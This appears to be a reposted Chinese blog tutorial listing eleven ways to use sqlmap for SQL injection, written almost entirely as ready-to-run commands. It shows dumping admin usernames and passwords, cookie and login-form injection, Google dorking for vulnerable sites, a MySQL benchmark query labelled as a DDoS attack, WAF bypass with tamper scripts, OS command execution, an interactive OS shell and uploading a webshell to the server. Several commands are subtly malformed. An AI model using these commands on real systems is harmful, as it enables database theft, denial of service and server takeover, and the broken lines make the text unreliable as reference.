SQLMAP注入教程-11种常见SQLMAP使用方法详解

一、SQLMAP用于Access数据库注入

python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"

python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables

python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin

python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"

二、SQLMAP用于Cookie注入

python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2

python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T

python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T

三、SQLMAP用于mysql中DDOS攻击

python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

四、SQLMAP用于mysql注入

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -"id,user,password" --dump

五、SQLMAP中post登陆框注入

1. 浏览器打开目标地址http:// www.xxx.com /Login.asp

2. 配置burp代理(127.0.0.1:8080)以拦截请求

3. 点击login表单的submit按钮

4. 这时候Burp会拦截到了我们的登录POST请求

5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

6. 运行sqlmap并使用如下命令:

./sqlmap.py -r search-test.txt -p tfUPass

自动搜索注入:
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --forms
指定参数注入:
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --data "tfUName=321&tfUPass=321"

六、SQLMAP中Google搜索注入

sqlmap -g inurl:php?id=

七、SQLMAP中的请求延迟

参数 --delay --safe-freq
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
 

八、SQLMAP绕过WAF防火墙

 
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py"
 
 

space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py

都是编码方式

space2hash.py base64encode.py charencode.py

九、SQLMAP查看权限

sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges

十、SQLMAP伪静态注入(1) 查找数据库

python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs

python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables

python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -tablename --columns

python sqlmap.py -"http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -tablename -"password" --dump

十一、SQLMAP注入点执行命令与交互写shell 

sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-cmd=ipconfig
 
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-shell

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

转载:https://www.cnblogs.com/ichunqiu/p/5805108.html

 
posted @ 2019-05-08 10:18  APT-101  阅读(4022)  评论(0编辑  收藏  举报